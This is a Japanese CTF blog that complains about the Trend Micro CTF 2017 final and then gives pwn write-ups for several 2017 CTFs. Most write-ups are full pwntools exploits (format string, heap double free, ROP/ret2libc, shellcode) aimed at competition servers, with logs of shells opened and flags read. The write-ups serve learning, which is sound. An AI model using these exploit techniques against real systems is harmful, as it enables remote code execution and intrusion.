ブログ未満のなにか

ブログなのか誰にも分からない

Trend Micro CTF 2017 - Raimund Genes Cup - The Finalの感想

hamaです。TokyoWesternsとしてTMCTF Finalに参加しました。今回はwriteupではなく感想と愚痴です。僕の感想を箇条書きにすると、

  • 今年のTMCTF Finalは良くなかった
  • 全体を通して、問題がCTFとして面白くない
  • 本当にverifyしたのかと疑うレベルの杜撰な問題を出題しないでほしい
  • TMCTFとは関係のない他所様のサービスやサーバーに依存した問題を出題しないでほしい

以上で僕の言いたいことは終わりです。なので以降は適当に流してください。

なぜそう感じたのかを理由を書いていくと、殆どの問題に無駄なところでguessing要素が多かったです。問題の本質ではないところで躓くことが多く、技術を競うコンテストであるはずのCTFでguessingが必要な問題は害悪でしかないと考えている僕にとって今年のTMCTF Finalは苦痛でした。得点状況を見ながらヒントを随時公開してくれたことは有難かったのですが、そもそもヒントがないと解けない/意図が察せないことは、問題の作りが甘い証拠です。少なくとも予選を勝ち上がったCTFチームが5時間取り組んでsolve0だったら作問ミスを疑うのは自然ではないでしょうか?(1チームが解けるかどうかの難問は話が別です) それに地味にヒント中のツールのURLがNot Foundだったりと最高でした。あらかじめヒントを考えていた旨を運営から聞きましたが、それぐらいの確認はして欲しいです。CTFをやっている人間は技術を競い合うのが好きな人間で(少なくとも僕はそうです)、想像力を働かせて手当たり次第に試すようなコンテストはやりたくありません。やりたい問題は自然な思考に則った技術的な問題です。この辺りが本当にverifyしたのかと疑いたくなる理由です。作問者の想定解通りにやればフラグが得られる程度の確認は不十分です。何も情報がない状態(参加者と同じ状態)からフラグが取れるかどうかまでをテストするのは当たり前です。(これが実際はすごく大変な作業であることは自分たちのCTFを開催しているので理解しています。しかし開催する以上やるべきでしょう)

それにCTFとは全く関係ない外部のwebサービスを使う必要はあったのでしょうか? 静的なhtmlとphpファイルが1つしかないブログで、他所様のブログサービスを使う必要はないはずです。 その程度だったらローカルでwebサーバー立てるか、vpsもしくはクラウドサービスを使用して運営が管理するサーバーで良いはずです。 OSINTという情報が合っているのかどうか確証が持ちにくいジャンルでパスワードを当てる問題だと辞書攻撃をするのは当然の流れで、TMCTFとは関係ないサーバーにブルートフォースすることになるのは倫理的に厳しいです。 また、他の問題で使っていた外部サービスからはBANされて、そのままでは問題が解けない状況になるのは、有り得ないです。

ここまでかなり批判してますが、僕はTMCTF Finalを楽しみにしていました。前回参加したチームメイトから「去年のコンテストはよかった」と聞いていました。信じた自分がバカなだけですが、それでも同日開催のAVTOKYOに行くよりも絶対楽しいだろうと思っていました。蓋を開けてみたら、まぁこの有様です。期待していた分、失望も大きいです。これが初めて開催する名も知られてないようなCTFなら、「クソCTF」と一言twitterに書き込んで終わりですが、Trend Micro CTFは今年で3回目です。今までのノウハウやフィードバックがあったはずです。本当に残念でした。

参加者が求めているものと、運営が用意するものに大きな隔たりを感じているので、これを埋めない限り良い評価は得られないと思います。CTFTimeのvotingのコメントでフィードバックは得られるので確認して欲しいです。 来年開催するかどうかまだ分かりません。ここまでボロクソに書いておいてあれですけど、僕個人としては「金輪際参加しない」とか見限るつもりはないので来年も楽しみにしています。来年は予選も含めて賞賛されるCTFを開催して欲しいです。

TMCTF運営が見るかもしれないので、参考になりそうなものを置いておきます。是非読んでください。強豪チームのPPPが書いたCTF開催者向けの資料です。 docs/suggestions-for-running-a-ctf.markdown at master · pwning/docs · GitHub

hack.lu CTF 2017 HeapsOfPrint writeup

はじめに

色々と試したら, saved rbpを部分的に書き換えて_startを戻りアドレスになるようにすることで再度FSAができるようになった. あとは適当にstack上にone gadget RCEを指すアドレスを作り, mainの戻りアドレスをそこにした.

exploitではheapのアドレスをリークしてるが, 結局使わなかった. 最初はheap上にstack pivotを狙っていたが途中で方針を変更した名残である.

exploit

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "flatearth.fluxfingers.net"
RPORT = 1747
LHOST = "127.0.0.1"
LPORT = 1747

# libc = ELF('./libc.so.6')
elf = ELF('./HeapsOfPrint')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        b *do_that+46
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./HeapsOfPrint'], gdbscript=execute)
else:
    conn = process(['./HeapsOfPrint'])
    # conn = process(['./HeapsOfPrint'], env={'LD_PRELOAD': './libc.so.6'})

# preparing for exploitation

log.info('Pwning')

conn.recvuntil('My favourite character is ')
offset = ord(conn.recv(1)) + 1

payload = '%' + ('%dc'%(offset+0x58)) + '%6$hhn'
payload += 'xxxx%17$p'      
payload += 'yyyy%14$p'    
payload += 'zzzz%16$p'      
conn.sendlineafter('I hope yours as well! Is it?', payload)

conn.recvuntil('xxxx')
libc_base = int(conn.recv(14),16) - 0x20830
conn.recvuntil('yyyy')
stack_addr = int(conn.recv(14),16)
conn.recvuntil('zzzz')
bin_base = int(conn.recv(14),16) - 0x990
log.info('libc_base = 0x%x', libc_base)
log.info('stack_addr = 0x%x', stack_addr)
log.info('bin_base = 0x%x', bin_base)

ret_offset = 0x6f6
ret = bin_base + ret_offset

offset = 0xb0
offset = stack_addr - offset
offset = offset & 0xffff
log.info('offset = 0x%x', offset)
# payload = '%' + ('%dc' % (offset - 8*4) ) + '%6$hn' + p64(ret)*0x4 + 'a'*8
payload = '%' + ('%dc' % (offset) ) + '%6$hn'
payload += 'xxxx%14$s'
conn.sendlineafter('I hope yours as well! Is it?', payload)

conn.recvuntil('xxxx')
heap_base = u64(conn.recv(6)+'\x00'*2) - 0x410
log.info('heap_base = 0x%x', heap_base)

start_addr = bin_base + 0x906
start_offset = start_addr & 0xffff

stack_offset = 0xffff & (stack_addr -0x58 + 0x1a0 - 0x228)
ret_offset = 0xffff & (stack_addr - 0x158 + 0x18)

one_gadget = libc_base + 0xf1117 
log.info('one_gadget = 0x%x', one_gadget)

payload = '%' + ('%dc'%( stack_offset )) + '%51$hn' 
payload += '%' + ('%dc'%( ret_offset - stack_offset + 0x10000)) + '%6$hn'
conn.sendlineafter('I hope yours as well! Is it?', payload)


ret_offset = 0xffff & (stack_addr - 0x1d0 + 0x70)
ga_offset = 0xffff & one_gadget

payload = '%' + ('%dc'%( ga_offset )) + '%83$hn'
payload += '%' + ('%dc'%( ret_offset - ga_offset + 0x10000)) + '%6$hn'
conn.sendlineafter('I hope yours as well! Is it?', payload)

stack_offset = 0xffff & (stack_addr -0x56 + 0x1a0 - 0x228)
ret_offset = 0xffff & (stack_addr - 0x1f0)
payload = '%' + ('%dc'%( stack_offset )) + '%73$hn'
payload += '%' + ('%dc'%( ret_offset - stack_offset + 0x10000)) + '%6$hn'
conn.sendlineafter('I hope yours as well! Is it?', payload)


print "last"
ga_offset = (one_gadget & 0xffff0000) >> 16 
stack_offset = 0xffff & (stack_addr - 0x280 + 0x198)
payload = '%' + ('%dc'%( ga_offset )) + '%105$hn'
payload += '%' + ('%dc'%( stack_offset - ga_offset + 0x10000)) + '%6$hn'
conn.sendlineafter('I hope yours as well! Is it?', payload)

conn.interactive()
root@ubuntu:~/ctf/hack.lu2017/HeapsOfPrint# python exploit.py r
[*] '/root/ctf/hack.lu2017/HeapsOfPrint/HeapsOfPrint'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to flatearth.fluxfingers.net on port 1747: Done
[*] Pwning
[*] libc_base = 0x7faee5e76000
[*] stack_addr = 0x7ffc3b2138f8
[*] bin_base = 0x55ea89222000
[*] offset = 0x3848
[*] heap_base = 0x55ea8a799000
[*] one_gadget = 0x7faee5f67117
last
[*] Switching to interactive mode
                                                                                                                                                                                                                                                                                                                                       \x90$ ls
flag
HeapsOfPrint
setup.sh
$ cat flag
FLAG{dr4w1ng_st4ckfr4m3s_f0r_fun_4nd_pr0f1t}

SECCON Beginners NEXT 2017 東京 next_note writeup

はじめに

初心者で問題が解けないので、これで成長できたらいいなぁと思い参加した。 pwnableの方の講義で使われたnext_noteという問題のwriteupとなっている。

動作

よくある感じのノート管理。

脆弱性

double freeできる。

方針

double free -> fastbin dup -> fastbin attack -> stdoutのvtableを書き換え で制御を取れる。あとは適当にone-gadget-rce使った。

exploit

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "172.20.2.2"
RPORT = 4296
LHOST = "127.0.0.1"
LPORT = 8080

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./next_note')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./next_note'], execute=execute)
else:
    conn = process(['./next_note'])
    # conn = process(['./next_note'], env={'LD_PRELOAD': ''})

# preparing for exploitation
def add_note(size, payload):
    conn.sendlineafter('>> ', '1')
    conn.sendlineafter('length...', str(size))
    conn.sendlineafter('note', payload)
    time.sleep(0.1)
def show_note():
    conn.sendlineafter('>> ', '2')

def delete_note(idx):
    conn.sendlineafter('>> ', '3')
    conn.sendlineafter('Input id to remove...', str(idx))

log.info('Pwning')

add_note(0xf8, 'hoge')
add_note(0xf8, 'hoge')
delete_note(0)
show_note()
conn.recvuntil('00 : ')
libc_base = u64(conn.recv(6)+'\x00\x00') - 0x3c4b78
log.info('libc_base = 0x%x', libc_base)

add_note(0x68, 'xxxx')
add_note(0x68, 'yyyy')

delete_note(2)
delete_note(3)
delete_note(2)
show_note()
conn.recvuntil('00 : ')
heap_base = u64(conn.recvuntil('\n')[:-1].ljust(8, '\x00')) - 0x70
log.info('heap_base = 0x%x', heap_base)

payload = p64(libc_base + 0x3c56bd)
add_note(0x68, payload)
payload = 'z' * 8 * 3
payload += p64(libc_base + 0x4526a)
payload += 'z' * 8 * 3 
payload += p64(libc_base + 0x791e0)
add_note(0x68, payload)
add_note(0x68, 'zzzz')
payload = '\x00'*3  + p64(0x0) * 5 + p64(heap_base + 0x80)
add_note(0x68, payload)

conn.interactive()
% python exploit.py r
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/hama/ctf/next/next_note'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Opening connection to 172.20.2.2 on port 4296: Done
[*] Pwning
[*] libc_base = 0x7fdecdd13000
[*] heap_base = 0x979000
[*] Switching to interactive mode
...$ ls
flag
next_note
$ cat flag
ctf4b{heap_exploit_techniques_are_awesome}

ksnctf C92 md5 writeup

はじめに

ksnctf C92のwriteup公開が解禁されたようなので、唯一のpwn問題だったmd5のwriteupをあげる。 ksnctf C92の各問題は下記リンクより参照できる。

ksnctf C92

初期調査

chceksecの結果を以下に載せる。SSPがないため、stackでのBOFが狙えそうである。また、Full RELROでないため、GOTの書き換えも有効である。 libcが公開されているため、address leakからのret2libcも狙える。

[*] '/home/hama/ctf/ksnctf/md5/md5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

機能

ローカルで動かす際にはflag.txtが必要となる。 はじめにデータの長さを入力し、次に指定した長さ分のデータを入力できる。 入力データに対してmd5を求めて出力している。 exitを入力すると処理を終了する。

% ./md5 
Wait...
Input data length: 10
Input data: aaaabbbbcc
MD5(your data): 11a7cd2ff48c01afcc65cca69ed0f886
MD5(flag): d0ac268c6f2253bda954982ef99c1295
Input data length: 4
Input data: exit
MD5(your data): f24f62eeb789199b9b2e467df3b1876b

方針

入力できるデータの長さを指定できるが、長さに制限はない。そのため用意されているバッファよりも大きい値を指定すればBOFが起きる。 main関数の戻りアドレスをBOFで上書きし、ROPでputs(libc_start_main_got)を実行する。得られた値からlibcがマッピングされているlibc_baseが求まる。 ここまででは、address leakができただけなので、再度の攻撃を行えるように再びmain関数を実行させるようにする。 2度目の攻撃では求めたlibc_baseを用いて、__libc_systemとlibc内に存在する'/bin/sh'を用いてret2libcを行った。

exploit

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug' # output verbose log

RHOST = "ksnctfc92.u1tramarine.blue"
RPORT = 55555
LHOST = "127.0.0.1"
LPORT = 55555

elf = ELF('./md5')
def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        libc = ELF('./libc.so.6')
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        execute = """
        # set environment LD_PRELOAD=./libc.so.6
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./md5'], execute=execute)
else:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    conn = process(['./md5'])
# conn = process(['./md5'], env={'LD_PRELOAD': './libc.so.6'})


def calc_MD5(length, payload):
    conn.sendlineafter('Input data length:', str(length))
    conn.sendlineafter('Input data:', payload)


# preparing for exploitation

libc_start_main_got = elf.got['__libc_start_main']
puts_addr = elf.symbols['puts']
main_addr = elf.symbols['main']

# 0x00400f13: pop rdi ; ret  ;  (1 found)
pop_rdi = 0x00400f13

log.info('Pwning')

payload = 'A' * (0x30+0x20) + p64(0x602098) + "A" * 0x20

rop = p64(pop_rdi)
rop += p64(libc_start_main_got)
rop += p64(puts_addr)
rop += p64(main_addr)
payload += rop

calc_MD5(len(payload), payload)
calc_MD5(4, 'exit')

# leak libc_base
conn.recvuntil('f24f62eeb789199b9b2e467df3b1876b\n')
libc_base = u64(conn.recv(6).ljust(8, '\x00') ) - libc.symbols['__libc_start_main']
log.info('libc_base = {:#x}'.format(libc_base))


payload = 'A' * (0x30+0x20) + p64(0x602099) + "A" * 0x20

rop = p64(pop_rdi)
rop += p64(libc_base + next(libc.search('/bin/sh')))
rop += p64(libc_base + libc.symbols['system'])
# rop += p64(main_addr)
payload += rop

calc_MD5(len(payload), payload)
calc_MD5(4, 'exit')

conn.interactive()
% python exploit.py r
[*] '/home/hama/ctf/ksnctf/md5/md5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] '/home/hama/ctf/ksnctf/md5/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to ksnctfc92.u1tramarine.blue on port 55555: Done
[*] Pwning
[*] libc_base = 0x7fc9e6de7000
[*] Switching to interactive mode
 MD5(your data): f24f62eeb789199b9b2e467df3b1876b
$ ls
flag.txt
flag2.txt
md5
md5.sh
$ cat flag*
FLAG{EukFcauPdlPYh0bK}
FLAG{OpBW3mIwSllxumQZ}

おわりに

シェルを取ればフラグが2つ得られるお得な問題だった。 しかし、2つ目のフラグをsubmitするためには裏にいく必要があり、到達できなかったためフラグを腐らせてしまった。

SECUINSIDE CTF 2017 childheap writeup

はじめに

コンテスト期間中に解くことができなかったが良いところまでいって放置していた。最近解いたので、そのwriteupを載せる。

checksec etc

普通のバイナリなので特に言うことはない。

% file ./childheap
./childheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2464f8e250b3eeb77e11b8748417024fb1bfd49f, stripped

% checksec ./childheap
[*] '/home/hama/ctf/SECUINSIDE2017/childheap/childheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

機能

実行すると3つの機能を選択できそうであるが、実際には4つ目の機能がある。機能についてまとめると以下のとおりである。

  • Allocate heapから指定したサイズ分を割りあてる。サイズには制約があり、0x1ff < size < 0x1000でなければならない。制約を満たすサイズであれば、malloc(size)が実行され取得されたメモリにサイズ分だけ書き込みが行える。malloc()で取得したメモリのポインタはたぶんスタック上でローカル変数として管理されている(この部分はバイナリを読んでいないので分からない)。2.Freeを実行すれば再度の割り当てができる。

  • Free Allocateで確保したメモリをfree()する。double freeが可能。

  • Modify 一度でもAllocateを実行すれば指定可能になる。heao上で管理されるAgeやNameを再編集できる。この管理領域を指すポインタはbssに存在している。

  • Secret 201527を入力すると実行できる機能。適当な数値をbssに保存することが可能。

% ./childheap 
-----ChildHeap 2017 in Secuinside---
1. Allocate
2. Free
3. Modify

方針

このバイナリの特徴は、stdoutに関してはbufferingが切られているがstdinに関しては有効となっている点である。詳しいことは知らないが、ubuntu16.04(正確にはglibcに依存すると思うが)から、入出力のbufferはheapから確保される。 入力のbufferのために確保されるチャンクとAllocateで確保できるチャンクと、double freeを上手く使ってunsortedbin attackを行う。書き込む先はModify機能によって編集する先を指すポインタである。unsortedbin attackによってmain_aren内のunsortedbin周りを任意に編集できるようになる。

0x7f1ae77a7b80 <main_arena+96>: 0x7878787878787878      0x7878787878787878
0x7f1ae77a7b90 <main_arena+112>:        0x0078787878787878      0x00007f1ae77a7b88

Secretによって書き込む数値をチャンクのサイズとみなすように、unsortedbinのfd/bkを編集すれば、malloc()で返すポインタをbss上に強制することができる。あとはModifyによって適当にGOTを書き換えてlibc_baseをリークしsystme(“/bin/sh”)を呼ぶ。

exploit.py

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "13.124.131.103"
RPORT = 31337
LHOST = "127.0.0.1"
LPORT = 31337

# libc = ELF('./libc.so.6')
elf = ELF('./childheap')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=./libc.so.6
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./childheap'], execute=execute)

else:
    conn = process(['./childheap'])
    # conn = process(['./childheap'], env={'LD_PRELOAD': './libc.so.6'})

# preparing for exploitation

def Allocate(size, payload):
    conn.sendlineafter('> ', '1')
    conn.sendlineafter('Input size:', str(size))
    conn.sendlineafter('Input data:', payload)

def Free():
    conn.sendlineafter('> ', '2')
    
def Modify(payload, Flag):
    conn.sendlineafter('> ', '3')
    conn.sendlineafter('Do you want to change age (y/n)?', 'n')
    conn.sendlineafter('Input new name: ', payload)
    if Flag:
        conn.sendlineafter('Do you want to change name to new one (y/n)? ', 'y')
    else:
        conn.sendlineafter('Do you want to change name to new one (y/n)? ', 'n')

def Secret(code):
    conn.sendlineafter('> ', '201527')
    conn.sendlineafter('Input secret code:', str(code))


person_addr = 0x6020c0
read_got = 0x602038
printf_addr = 0x400750

log.info('Pwning')

Allocate(0xfff, 'hoge')
Free()
Modify('a'*0x8+'b'*8, True)
Free()
payload = 'x' * 8 + p64(person_addr - 0x10)
Modify(payload, True)
Allocate(0xfff, 'hoge')
payload = p64(0) + p64(0x6020b0 - 8) * 2 # fd and bk are 0x6020b0-8
Modify(payload, True)

Secret(0x211)
Free()
payload = "A" * 8
payload += p64(0x602070-0x8-0x2)
Allocate(0x200, payload)

payload = p64(printf_addr)
Modify(payload, True)

conn.sendline('XXXX%3$p')
conn.recvuntil('XXXX')
libc_base = int(conn.recv(14), 16) - 0xf7230
log.info('libc_base = {:#x}'.format(libc_base))

payload = "AA" + p64(libc_base + 0x45390)
conn.recvuntil('3. Modify')
conn.sendline('12')
conn.sendlineafter('Do you want to change age (y/n)?', 'n')
conn.sendlineafter('Input new name: ', payload)
conn.sendlineafter('Do you want to change name to new one (y/n)? ', 'y')

# Modify(payload, True)
conn.sendline('/bin/sh\x00')

conn.interactive()

Google CTF 2017 Inst Prof writeup

はじめに

shellcode問、やるだけ。

方針

下記のshellcodeを用いて、ROPを組んだ。それぞれ4byteになっている。 shellcode実行中のstackの先頭にはリターンアドレスがあるので、pop, pushでstackを壊さずにレジスタにテキスト領域のアドレスを格納することができる。r15は特にバイナリ中で使用してなさそうだったので選んだ。 incdecで所望のROPガジェットとなるように、オフセットを計算している。0x1000回のincまたはdecを避けるために、retですぐにリターンさせている。stack上への値の格納は、格納先をrbpからのオフセットで指定できるmovを使用した。rbxはshellcodeの実行領域を指しているので、ROP中で用いている。1度のshellcodeを4byteに収めるために、下記の中でのoffsetとvalueは1byteに制限されている。

pop r15, push r15
inc r15, ret
dec r15, ret
mov BYTE PTR [rbp + offst], value
mov  [rbp+offset], r15
mov  [rbp+offset], rbx

exploit

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug' # output verbose log

RHOST = "inst-prof.ctfcompetition.com"
RPORT = 1337
LHOST = "127.0.0.1"
LPORT = 1337

# libc = ELF('')
elf = ELF('./inst_prof')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./inst_prof'], execute=execute)
else:
    conn = process(['./inst_prof'])
    # conn = process(['./inst_prof'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def pop_push_r15():
    return asm('pop r15\n push r15')

def inc_r15():
    return asm('inc r15\n ret')

def dec_r15():
    return asm('dec r15\n ret')

def byte_move(offset, value):
    return asm('mov BYTE PTR [rbp+%d], %d' % (offset, value))

def byte_add(offset, value):
    return asm('add BYTE PTR [rbp+%d], %d' % (offset, value))

def reg_move(offset):
    return asm('mov  [rbp+%d], r15' % offset)


log.info('Pwning')

conn.recvuntil('ready')

payload = ''
# alloc_page 
payload += pop_push_r15()
payload += dec_r15() * 0x128
payload += reg_move(0x10)

# pop_rsi_r15 rsi= 0x80, r15=?
payload += pop_push_r15()
payload += inc_r15() * 0xa9
payload += reg_move(0x18)

payload += byte_move(0x20 + 0, 0x80)
payload += byte_move(0x20 + 1, 0x00)

# pop rdi; ret
payload += pop_push_r15()
payload += inc_r15() * 0xab
payload += reg_move(0x30)

payload += asm('mov [rbp+0x38], rbx')

# read_n(size)
payload += pop_push_r15()
payload += dec_r15() * 0x98
payload += reg_move(0x40)

# pop rdi ; ret
payload += pop_push_r15()
payload += inc_r15() * 0xab
payload += reg_move(0x48)

payload += asm('mov [rbp+0x50], rbx')

# make_page_executable(addr)
payload += pop_push_r15()
payload += dec_r15() * 0xf8
payload += reg_move(0x58)
 
payload += asm('mov [rbp+0x60], rbx')

# trigger ROP
payload += pop_push_r15()
payload += inc_r15() * 0x39
payload += reg_move(0x8)

# execve('/bin/sh')
shellcode = '\x90' * 0x10
shellcode += asm(shellcraft.sh())
shellcode = shellcode.ljust(0x80, '\x90')

payload += shellcode + '\n'
conn.send(payload)

conn.interactive()

結果

python exploit.py r
[*] '/home/hama/ctf/GoogleCTF2017/InstProf/inst_prof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to inst-prof.ctfcompetition.com on port 1337: Done
[*] Pwning
[*] Switching to interactive mode

(長いので省略)

$ cat flag.txt
CTF{0v3r_4ND_0v3r_4ND_0v3r_4ND_0v3r}

おわりに

見返してみるとゴリ押しが酷い

FAUST CTF 2017 writeup

はじめに

TokyoWesternsで参加して14161.47ptの8位だった。得点の内訳は、Attackが2412.00pt、Defenceが-651.05pt、SLAが12166.52ptだった。 自分は、8つあるサービスの1つであるtoiletのpatchとexploitをやった。toiletでflagを取られることはなかったのでpatchが完璧だったみたい。 exploitとpatchのwriteupを載せる。

toilet

Loginでの入力はfgets(stdin, name, 0x41)を使っており、0x40byteとNULLの1byteを書き込むことができる。書き込まれる先はheap上になっており、nameの直下にはFlushで使用する関数ポインタが格納されている。 しかし、name分の大きさは0x40byte分しかないので、fgetsのNULL終端で関数ポインタの下位1byteをNULLに上書きすることができる。

この状態で、関数ポインタ経由で関数を呼ぶと下記のような場所を呼ぶことができる。0x40249dでは、第一引数(rdi)にある文字列を'data/%s'に展開してopen()->read()する。バイナリをよく読んでないので詳細は分からないが、read()された文字列のポインタがnameとして設定されるので、Show current settingsでファイルの中身を読むことができる。data/配下にflagが書き込まれるので、あとはやるだけ。

gdb-peda$ x/20gx 0x606410
0x606410:       0x0000000000000000      0x0000000000000071
0x606420:       0x6161616161616161      0x6161616161616161
0x606430:       0x6161616161616161      0x6161616161616161
0x606440:       0x6161616161616161      0x6161616161616161
0x606450:       0x6161616161616161      0x6161616161616161
0x606460:       0x0000000000403000      0x0000000000000014
0x606470:       0x0000000000000000      0x0000000059288a7a
0x606480:       0x0000000065614388
gdb-peda$ x/7i 0x403000
   0x403000:    test   rdi,rdi
   0x403003:    je     0x403010
   0x403005:    sub    rsp,0x8
   0x403009:    call   0x40249d
   0x40300e:    jmp    0x403016
   0x403010:    mov    eax,0x0
   0x403015:    ret

exploit

下記の手順でflagを読むことができる。

1. Login 
適当に0x40byte入れる。関数ポインタの下位1byteがNULL(0x00)になる。

8. Show Log 
Nameからflagのfilenameを得る。これはそういう仕様。

5. Drop a load
最初の入力は適当に数byte入力する。ここは何でもいい。
次の入力で取得したflagのfilenameを入力する。

7. Flush 
open(flag) -> read()が走る。

4. Show current settings
nameの箇所にflagがでてくる。

実際にやると、こんな感じ。flagはFAUST_WShgeNoH74XqhAAAAAByXae4mq/HQOoiで、あとは適当に自動化するだけ。自動化は自動化のプロにやってもらった。

$$$$$$$$\  $$$$$$\  $$$$$$\ $$\       $$$$$$$$\ $$$$$$$$\ 
\__$$  __|$$  __$$\ \_$$  _|$$ |      $$  _____|\__$$  __| 
   $$ |   $$ /  $$ |  $$ |  $$ |      $$ |         $$ |    
   $$ |   $$ |  $$ |  $$ |  $$ |      $$$$$\       $$ |    
   $$ |   $$ |  $$ |  $$ |  $$ |      $$  __|      $$ |    
   $$ |   $$ |  $$ |  $$ |  $$ |      $$ |         $$ |    
   $$ |    $$$$$$  |$$$$$$\ $$$$$$$$\ $$$$$$$$\    $$ |    
   \__|    \______/ \______|\________|\________|   \__|    
                                                           
                                                           
                                                           
Welcome to the our new smart toilet!
It's the best experience you'll get since your change from diaper to potty!
Try our note feature to keep track of your bowel movement!
Even better, in our next update we'll add a twitter sharing option!

1. Login 
2. Change the seat temperature 
3. Change the flush function 
4. Show current settings 
5. Drop a load 
6. Show latest notes 
7. Flush 
8. Show Log 
9. Logout 
10. Exit 

Your choice: 1

Please give me your name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1. Login 
2. Change the seat temperature 
3. Change the flush function 
4. Show current settings 
5. Drop a load 
6. Show latest notes 
7. Flush 
8. Show Log 
9. Logout 
10. Exit 

Your choice: 
1. Login 
2. Change the seat temperature 
3. Change the flush function 
4. Show current settings 
5. Drop a load 
6. Show latest notes 
7. Flush 
8. Show Log 
9. Logout 
10. Exit 

Your choice: 8

This is highly sensitive information and we respect your privacy!
Therefore, we anonymize the names in this log.
But be aware that we are forced by law to hand out any data in case of a government agencies request.

#################################################################################################
#=========================================  Log  ===============================================#
#===============================================================================================#
#====                         Name (anonymized)                        ==== | ====   Date   ====#
#========================================================================== | ==================#
#==== 72508d056b428937372e831bad23753c3ad3e1cd66cb22d1e5b347850ddce5a8 ==== | ==== 01:54:03 ====#
#################################################################################################
1. Login 
2. Change the seat temperature 
3. Change the flush function 
4. Show current settings 
5. Drop a load 
6. Show latest notes 
7. Flush 
8. Show Log 
9. Logout 
10. Exit 

Your choice: 5

Alright here we go!
Don't hold back, give me everything you got!
You've landed the jumbo! Nice work!
Your load weights 00000339g 

Please describe the consistency: aaa
Please leave a note about your gorgeous work:
72508d056b428937372e831bad23753c3ad3e1cd66cb22d1e5b347850ddce5a8
1. Login 
2. Change the seat temperature 
3. Change the flush function 
4. Show current settings 
5. Drop a load 
6. Show latest notes 
7. Flush 
8. Show Log 
9. Logout 
10. Exit 


Your choice: 7

Going to flush now
Aaaand it's gone!
1. Login 
2. Change the seat temperature 
3. Change the flush function 
4. Show current settings 
5. Drop a load 
6. Show latest notes 
7. Flush 
8. Show Log 
9. Logout 
10. Exit 

Your choice: 4

ID: 954972103
Name: FAUST_WShgeNoH74XqhAAAAAByXae4mq/HQOoi
Seat temperature: 20
Max. weight: 398
Last visit: 05:18:57
1. Login 
2. Change the seat temperature 
3. Change the flush function 
4. Show current settings 
5. Drop a load 
6. Show latest notes 
7. Flush 
8. Show Log 
9. Logout 
10. Exit 

Your choice: 

patch

